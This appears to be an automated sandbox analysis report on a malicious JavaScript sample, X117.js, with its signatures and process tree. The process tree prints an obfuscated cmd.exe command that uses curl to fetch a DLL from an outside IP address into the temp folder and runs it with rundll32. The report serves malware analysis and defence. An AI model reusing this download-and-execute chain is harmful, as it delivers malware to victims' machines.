Analysis

  • max time kernel
    193s
  • max time network
    211s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/10/2023, 15:33

General

  • Target
    X117.js
  • Size 412KB
  • Sample231017-sy76bsch91
  • SHA256 35a030b9c4e4bc4f4fbaeb8415fdf4bccd04958216d363a7f0e9caef1df38100
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\X117.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c 2iN || EchO 2iN & pinG 2iN || CuRl http://45.63.106.193/PmpZ/outcu -o %TMp%\2iN.dll & pinG -n 2 2iN || ruNdll32 %tMP%\2iN.dll, CrashForException_ExportThunk & eXIT TAg=VZcVNt
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:852
      • C:\Windows\system32\PING.EXE
        pinG 2iN
        3⤵
        • Runs ping.exe
        PID:928
      • C:\Windows\system32\curl.exe
        CuRl http://45.63.106.193/PmpZ/outcu -o C:\Users\Admin\AppData\Local\Temp\2iN.dll
        3⤵
          PID:3752
        • C:\Windows\system32\PING.EXE
          pinG -n 2 2iN
          3⤵
          • Runs ping.exe
          PID:4960
        • C:\Windows\system32\rundll32.exe
          ruNdll32 C:\Users\Admin\AppData\Local\Temp\2iN.dll, CrashForException_ExportThunk
          3⤵
            PID:4044

      Network

            MITRE ATT&CK Enterprise v15

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